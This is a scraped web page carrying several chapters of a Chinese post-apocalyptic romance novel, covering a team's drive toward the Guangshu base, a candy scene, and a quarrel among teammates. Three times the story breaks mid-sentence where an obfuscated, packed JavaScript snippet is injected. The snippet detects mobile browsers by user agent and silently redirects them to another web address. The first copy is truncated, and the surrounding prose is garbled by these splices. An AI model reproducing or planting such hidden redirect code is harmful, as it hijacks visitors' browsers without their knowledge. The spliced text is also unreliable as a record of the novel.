RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706911|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有的问题。 出发的当天,阳光很好,不算热烈,伴着一股徐徐而来的微风,步景明一脚油门离开了天明基地。 旁边的副驾上坐着田东宇,两位女生和江入年坐在较安全的后座上,有一搭没一搭的聊着天,当然,主要是女生们在聊。 步景明一边开着车,一边忍不住从中视镜去看坐在后面的江入年。 江入年靠在车窗上,单手托腮,透过玻璃看外面的景色,神情平淡,也不知心里在想些什么。 长途行驶总是无趣且累人的,这辆黑色越野并没有播放音乐的功能,就算有也不能开,容易吸引到听觉灵敏的异变体的注意,多一事不如少一事。 于是步景明便听到一旁的田东宇问:“明哥,我记得,我们去广曙的时候好像见过当时的首领?” 确实有这么一回事。 去年年初,他们三人第一次来到广曙,还在外围时便碰见了一场堪称惊天动地的战斗。 十分钟前还明媚的天空,十分钟后就乌云密布,电闪雷鸣,远远的就能看见半空中有两个人影缠斗在一起,时不时就有电光自云层中被引下,化作其中一人的攻击向另一人打去,能量间的对抗冲击让大地都震颤。 步景明还从来没见过仅仅是人类之间也能打出这般架势,甚至还怀疑过是不是某一方并非人类,而是人形异变体,只是距离太远,实在无法辨认,能隐约看清人形就已经很不容易。 为了避免被波及,他们不得不停车,在原地又等了大约二十分钟,这一场战斗才终于落下帷幕,也不知是谁赢了,战斗到后面他们已经落地,看落点,似乎就在广曙基地里面。 事后步景明一行人进到广曙时打听了一下,这么大动静,居然只是广曙首领在和新招的成员切磋。 “嗐,那位首领是这样的,完全就是个武痴,一天不打就浑身难受,反正每次都会特别注意跑去外面打,大伙都习惯了。” 这位被柯九辛找上的人是隔壁小基地的成员,他笑着让柯九辛放心,广曙的人虽然经常互相切磋,但也从没伤及无辜。 一旁的步景明想了想,直接问对方有没有什么办法可以见到广曙首领,没想到对方直接道:“你可以等首领打完架的时候直接去找他,或者直接去基地门口说要挑战他,给他下战书,他就会来应战了。” 那会儿步景明的想法也很简单,这位首领看起来似乎不难说话,甚至显得有点格外单纯,身为首领接触到的人和事也多,能直接找到首领去问,有消息的可能性比较大。 哪怕对方并没有直接消息,说不定也会有一些间接消息。 于是步景明当真直接去了广曙基地的门口,不过没有选择下战书,而是询问守卫能不能跟他们首领见一面。 他本来没报什么希望,却不想守卫真给他叫来了广曙首领。 而那位身材高大,浑身腱子肉,短而硬的头发剃成寸头模样直指天空,长相颇为凶狠甚至有一条长疤痕自上而下划过半张脸的首领,见到步景明的第一刻就眉尾一挑,“你……” “不管你找我有什么事,先跟我打一场!” 27. 硬糖 这位首领的外貌,还真是符合一些对武痴的刻板印象。 步景明最后还是同意了他的战斗邀约,只因无论步景明好说歹说,广曙首领都一概不应,有什么话都等打过再谈。 而广曙首领非要和步景明打的原因,仅仅因为“你一看就很强”。 步景明:…… 大灾变发生了这么多年,步景明走过那么多地方,还是头一回遇到这么纯粹的战斗狂人。 这么一看,广曙基地的唯一收人要求是能打,也不奇怪了。 这位广曙首领名为孙正天,据他所说自己的天赋是巨力,在大灾变前他就是一个健身狂人,还顺带去学了些拳击之类的运动,再配合这个天赋,完全走的一力降十会的路子,步景明在切磋时不甚被他击中一掌,倒飞出去后险些就站不起来了。 由于事先定好的规则是不用武器,仅凭天赋来战斗,步景明的暗影对孙正天起不到什么特别好的克制效果,只能对他的动作起到几分牵制作用,最终勉强打成了平手。 这个勉强可真是没有一点谦虚成分,步景明打这一场身上挂的彩,即便在医师的治疗下,也足足养了一星期才好全。 孙正天并没有把人打了就打了,后续很是热情的将步景明迎进广曙,用好菜好酒招待,也提供了治疗,而这一场切磋也让步景明的天赋运用更加熟练,也算两全其美。 唯一的遗憾大概就是,孙正天也没有江入年的消息,尽管当时“神赐”已经有流传在外的消息或是传闻,可惜步景明那会儿并不知道“神赐”和江入年的关系,也就没能以这个作为切入点了解更多。 如今一年过去,广曙也发生了这么大的变动,不知道这位首领还有没有活着。 步景明一打方向盘,避开雷达显示的一小群未知异变体,“不知道广曙现在成什么样子了,如果那位首领还在,就方便我们调查了。” “那个广曙基地,长什么样啊?”丘月月好奇地问,她和江入年大概是这个队里,唯二对外界情况不够了解的人。 “广曙啊,还挺独特的,”柯九辛顿时来了劲,把他们如何误打误撞找到广曙,自家老大如何在进基地之前就跟对面首领打了一架,事后又如何无功而返等等事件一一到来,说到后面实在口干,拿出水袋狠狠喝了一口水,“我还挺喜欢广曙首领的,要不是我天赋不适合战斗,我也想跟他切磋切磋。” “辛姐,没有战斗天赋也可以切磋啊,你跟人首领说禁用天赋呗。”田东宇笑着加入话题。 柯九辛连连摇头,“他那天赋早都跟自身融为一体了吧,哪是能说不用就不用的,再说了,你看老大都打成那样,我还敢上吗?” 汽车中视镜里,步景明看见一直没吭声的江入年小幅度地动动脑袋,似乎将耳朵的位置调整了一下。 无人察觉存在感很低的他,丘月月继续问道:“老大也被打得很惨吗?” 她也被柯九辛影响了,开始管步景明叫老大。 “打得很惨……也不算啦,”柯九辛翘起二郎腿,将手肘垫在上面托着腮回忆道:“也就是断了锁骨和左手臂,伤到五脏六腑吐了两天血吧。” 丘月月:“?这还不算很惨吗?” 田东宇:“明哥当时有这么惨吗?” 田东宇皱着眉想了想,“不对吧,当时广曙不是叫了人来……” “咳咳咳!”柯九辛打断他,瞥了他一眼,“你记错了。” 驾驶座上的步景明暗暗摇头,没去阻止柯九辛替他在江入年面前卖惨的行为,自己也忍不住将目光移向镜子。 江入年始终靠在车窗边上,望着外面不断倒退的景象,神色淡然,也不知对于他们的对话,是听到了,还是没听到。 飞快地瞅了这一眼后,步景明重新将注意力放到前方,越野已经开进了满是足有半人高的草丛中,没了任何形式的道路,车速也不由自主地慢了下来。 也是这个时候,步景明忽然从余光中,发现田东宇的脸色隐隐有些阴沉,并不明显,但步景明多少与他相处过几年,自然看得出来他的变化。 看来不止他一个人发现了柯九辛暗戳戳的小心思。 怎么,是因为柯九辛在他面前强调了一下江入年的身份么? 步景明一边把着方向盘,一边想着田东宇针对江入年的原因。 将脑子里的猜测挨个排除,步景明有些难以相信最终的推测结果。 这个推测要他自己本人说出来,未免过于自恋,但……田东宇喜欢他? 当大脑意识到这一点,过去田东宇的部分言行就开始显得不对劲了起来。 无论是对步景明的话说一不二,还是在某些情形下过分的维护,甚至是对步景明所受的或大或小的伤表现得格外紧张……在此时回想起来,都变得别有用心。 在明知道他对江入年偏执至此的情况下,还对此抱有幻想吗? 步景明速度很快地皱了皱眉又松开。 仅仅是一种毫无依据的猜测,就让步景明提起了警惕心,无论如何,得想办法将田东宇从这个小队里赶出去。 即便目前相安无事,可步景明担心,一旦田东宇想做什么,对现在的江入年而言都会是一种莫大的伤害。 他好不容易才将江入年留在自己身边,不管是谁,想要破坏这一切的话,就别怪他不留情面了。 * 车轮连续转动了五个小时,空中的太阳也来到了正头顶的位置。 田东宇提出将步景明换下来休息,步景明也没推辞,只是在确保附近没有代表危险异变体的红点后,寻了块平坦的空地停车,“正好休息休息,吃点东西。” 他这话一出,惹得田东宇又多看了他两眼,抿了抿唇,没多说什么。 他们过去赶路的时候几乎很少中途休息,都是几个人轮流开车,饿了就车上随便吃两口干粮应付一下,之前也有队友因为受不了步景明的这种节奏而选择离开的,现在居然开了五个小时就叫停了。 不过,说是休息,出于安全考虑,几人并没有下车,步景明从驾驶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706912|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座上下来后,扭头就开门上了后座,蹲在江入年的面前。 “年年,感觉还好吗?觉不觉得累?” “累啥……”这才哪到哪就累了? 柯九辛在一旁下意识开口,说了两个字意识到步景明在和谁说话后,硬生生把后面的部分咽了回去。 江入年确实和他们不一样,就看那张一直没什么血色的脸,和过于削瘦的身体,真怕这车颠一颠就给人摔出个好歹来。 他们几人早晨出发前就吃过早餐,在外奔波时也早已习惯一天两顿甚至只有一顿的生活,步景明三人这会儿都还感觉尚好,只担心两位新成员能否适应这样的长途赶路。 丘月月确实有点饿了,她在实验室里从来没缺过吃喝,早上吃饭的时候也就没有“吃多点饿得慢”的概念,简单吃几口就应付了。 柯九辛给她从后备箱里拿了水和之前刚烙的饼,而一旁的江入年总算将视线从窗外收回,却也没落到步景明的脸上,只说道:“还好。” 步景明敏锐捕捉到他眼里时不时出现的失焦,又注意到他按在座椅上的手指用力到泛白,坚持问道:“哪里不舒服?” “……头疼。” 即便被看出了自己不舒服,江入年脸上也没表现出什么别的情绪,说话的语气也无波无澜,像在说一个陌生人的事情。 “哪里疼?这里?还是这里?” 步景明坐上早已被柯九辛让出来的位置,抬手轻轻给江入年按揉头上的穴位,“疼得厉害吗?车上还有止痛药,要不要吃?” 已经来到驾驶位上的田东宇闻言皱皱眉,忍不住回头道:“明哥……” “不用,没多疼。” 江入年顺着步景明的手靠上他肩头,也不知是出于难受还是被揉按得舒服,他缓缓闭上眼,轻轻叹出一口气。 “那,饿不饿?吃点东西?” “不吃。” 步景明腾出一只手,从外套口袋里摸出一颗紫色的硬糖,“吃点甜的?” “……” 江入年难受的时候没皱眉,给自己来一刀的时候也没皱眉,眼下却是被步景明烦到了,眉头微蹙,撑开眼皮瞪了步景明一眼,难得抬高了音量,“别烦,不吃。” 奈何他这点反应在步景明看来和小猫哈气没什么区别,干脆利落地剥了糖纸,隔着糖纸把糖块按在他嘴上,“挺好吃的,尝一下。” 江入年往后仰头试图躲开,却又被步景明的手给挡在了脑后,两人僵持片刻,那颗糖最终还是成功进到了江入年的嘴里。 这是一颗葡萄味的硬糖,糖纸是镭射的,布灵布灵十分精致,就是包装上没印有任何信息,也不知道过没过期。 江入年含着这块糖,甜味丝丝缕缕蔓延在口腔中,心中的烦躁顿时被驱散了。 也不知道步景明是怎么发现的,总之他的手此刻也正正好好按在江入年隐隐作痛的右脑上,不轻不重地按着。 江入年的表情彻底放松下来,懒懒地倚在步景明身上,咬碎了嘴里的糖。 28. 争执 “我觉得我应该在车底。” 柯九辛坐在丘月月脚边的空地上,开着精神链接和丘月月咬耳朵。 “恋爱还得看别人谈。” 丘月月咬一口饼,又掰了一小块递给肩膀上的阿猫。 蓦地,她咀嚼地动作一顿,看了眼一口吞下烙饼后就开始低低叫唤的阿猫,连忙把嘴里的饼也咽下去,“各位,附近好像有点情况!” 除了江入年外,几人的视线顿时集中到了她的身上,柯九辛更是直接追问道:“怎么了?又有大只的异变体?” “不确定……但是阿猫说它感觉到有奇怪的气息。” 可眼下四周风平浪静,天空晴朗万里无云,雷达也安静,怎么看都不像是有什么情况要发生的样子。 干在车里等着也不是事,步景明干脆道:“我出去看看,可能会走远一点,柯九辛,保持精神链接。” “好嘞老大!” 这附近没有树林,全是高草和灌木之类的植物,步景明没法借着高度观察远处,离开车内站在草丛中,他先是感受了片刻风向,又放眼远眺,只能观察到零星几个异变动物的身影。 想了想,步景明回到车边敲敲车窗,待窗户降下来后,他望向丘月月,“借你的朋友一用。” 丘月月颔首,抬手摸了摸阿猫的背羽,阿猫便直接扇动翅膀从车内飞出来,落到了步景明的肩头。 阿猫也是异变动物,想来在感知上有些优势,步景明扭头看它,“哪边有异样?” “呼咕……” 阿猫把脑袋转了一百八十度,望向了步景明的身后。 竟然是他们来的方向? 考虑到肩上站着阿猫,步景明便只将下半身融进阴影中,飞快地朝着那个方向掠去。 没走多远,似乎是风向变了,步景明也能隐隐约约嗅到一丝不对劲的气味,算不上恶臭,倒像是被稀释过的血腥味。 如果有什么大家伙要朝着他们的方向来,那就不能原地停留休息了。 步景明眼神一凛,朝着这阵风的方向追去,随着他越追越近,空气中的气味也愈来愈浓,不止有血腥气,还有焦糊味,再仔细听,还能听到不少脚步声和草叶窸窣声。 步景明此时已经来到了一个林子的边缘,这片林子长的是榕树,一棵棵又高又壮,还有无数根条自上垂落至地面,扭曲交缠成各种奇怪形状。 林子里很黑,未免遭遇危险,步景明守在林子外等了等,直到耳边能捕捉到的声音开始变大,甚至出现异变体的尖啸和人类的呼喊后,步景明确信这伙人要朝着黑色越野的方向过来,便不再停留,迅速返回。 他离开的时间并不算久,来回不过十几分钟,却不想从影子里出来拉开车门时,看见跑去副驾驶坐着的柯九辛拽着田东宇的手臂,说着:“你可少说两句吧,老大都回来了。” 步景明上车的动作一顿,很快又利落地上车关门,问道:“怎么了?” “老大……” “没什么,明哥,”田东宇抢在她之前把话说完,“明哥,你发现什么了吗?” 步景明深深地看了他一眼,又用余光瞥到正闭着眼不知在假寐还是沉睡的江入年,没看出什么异样,便姑且将此事放在一边,沉声道:“先走,有一伙人惹到他们对付不起的异变体,正在被追杀,朝着我们的方向来了。” 注意力被转移,没人愿意无端被卷入危险中,田东宇没多问什么,直接启动了引擎,柯九辛则是叹了口气,把脑袋转到步景明的方向,“老大,你看见现场了?什么样的异变体?” 步景明摇摇头,“猜测。” 不过,光从空气中的气味和听到的动静来看,这只异变体说不定可以和之前遇到的那只异变巨蛛相提并论,如果不是战斗天赋,对上这样的异变体,幸存几率约等于零。 那股刺鼻的焦糊味,也许是和火相关的天赋能力,也不知道是异变体的还是那群人里的。 步景明其实并没有什么同情心,这玩意他从小就没有,这五年常常从异变体手下救人的唯一原因,只是想增加一点找到江入年的可能。 如今人已经找到,也就没什么插手他人命运的必要,还是专注于现下的目标更重要。 黑色越野悄声行驶在大地上,车内一时陷入沉默中。步景明挨着江入年坐下,寻到他的右手轻轻握在掌心里。 脑子里忽然响起柯九辛的声音,“老大,我觉得小宇子不太对劲啊,真的很不对劲啊。” “他是不是被夺舍了?” …… 十五分钟前,步景明带着阿猫离开,剩下他们在车上有些紧张,又寻不到紧张的来源,柯九辛干脆挑起别的话题来转移转移心情,提议大家来猜一猜老大要去多久才回来。 有猜半个小时的,有猜很快五分钟的,还有猜一个小时的,柯九辛还拍了拍江入年,试图让他一起加入到话题中来。 就在这时,江入年突然抬头望向窗外,一言不发抬手就要拉开车门下车。 丘月月前脚才说有异样,步景明也出去查看情况了,柯九辛可不敢让江入年就这样下车,赶紧拽住他,“诶诶!入年,你要去哪啊,现在不兴下车啊!” 若是此时步景明在这里,就能看出来江入年眼里蒙着那层雾,怕是又看见幻觉了,但除了他之外,没人能看出来不对。 “……景明回来了,”江入年试图甩开柯九辛的手,“他受伤了,很严重,只有我能救他。” 嘶,柯九辛赶紧用上力气按住他,同时也随着他的视线向外看去,除了草就是草,哪里有步景明的身影? “老大才刚走呢,他人都不在这,你冷静一点。” 丘月月也回过神来发觉江入年又陷进幻觉中了,一边推了推眼镜一边跟着劝说道:“别急,深呼吸,你看到的是假的,都是不存在的。” “……假的?” 江入年挣扎的动作一滞,他瞪大双眼,死死地盯着那个距离车辆大约七八米远,浑身是血, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706913|173573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踉跄着向他走来的“步景明”,无论如何都看不出那是个假象。 明明……从鲜红的血到被划破的衣服,从那双黑沉的眼到几近露出白骨的伤口,他都看得那么真切,只要伸出手,就一定能碰到。 不行,这样的出血量,再拖下去,步景明会死的! 他自己流多少血都无所谓,甚至是死掉也无所谓,但是步景明不可以,他应该活着。 江入年深深吸进一口气,骤然爆发出的力量让柯九辛一时不察,被他成功挣开了手。 趁着柯九辛没反应过来,江入年猛地拉开车门跳了出去。 “诶我去!” 柯九辛没能拦住,但江入年也没成功跑出去,他才下车,就一头撞在了一个人身上。 “你能不能有点基本的判断力?” 田东宇挡在他面前,镜片后的眼睛里满是冷漠,“不要在这种时候添乱。” 这话说得,乍一听似乎没什么问题,但仔细一琢磨,又能察觉出不甚明显的恶意,至少柯九辛从来没见过他这么说话。 或者说,柯九辛从未见过他对老大承认的队员这么说过话。 柯九辛皱了皱眉,下来把江入年拉到自己身后,但还在维持着松快的语气,“小宇子,话也不是这么说,入年他毕竟……” “毕竟什么?” 田东宇扯了扯嘴角,“就算再痛苦,作为一个成年人,不应该有最基本的认知,知道什么事该做,什么事不该做?” …… 丘月月在柯九辛身后弱弱地从车上探出头,“咱们要不还是上车再说话?” 阿猫不在,她现在非常缺乏安全感。 柯九辛“啧”了一声,拉着自从落地后就一直没说话的江入年重新回到车上,田东宇见状,也不再多说,转身上了驾驶座。 江入年的情况柯九辛多少有从步景明和丘月月那里了解到,无论是其老大爱人的身份,还是顶着这样一张脸叫她“辛姐”,柯九辛早就把江入年划进了自己人的范围,她还多少有点护犊子,以至于现在对田东宇的言行感到十分费解和困惑。 怎么好端端一个小队的人,突然就有那么大的敌意? 柯九辛担心会刺激到江入年,选择用天赋去问田东宇,到底为什么这么说话,还给他找台阶下,问他是不是心情不好。 奈何田东宇完全不打算按柯九辛的剧本来,直接张嘴就说:“我说的有哪里不对吗?” “本来我们还要冒险往外跑就是为了他,结果他还要一意孤行,要是惹到什么异变体怎么办?” 给柯九辛气得恨不得直接去捂他的嘴,她也确实这么做了,直接长腿一迈跨到副驾驶,一抬胳膊,让田东宇误会她要动手,连忙做格挡状。 而后,就是步景明回来打开车门看见的那一幕。 复述以上情节时,提到田东宇说的话,都让柯九辛犹豫许久要不要如实说,她还真怕步景明听得鬼火冒直接咔嚓一下就把田东宇给解决了。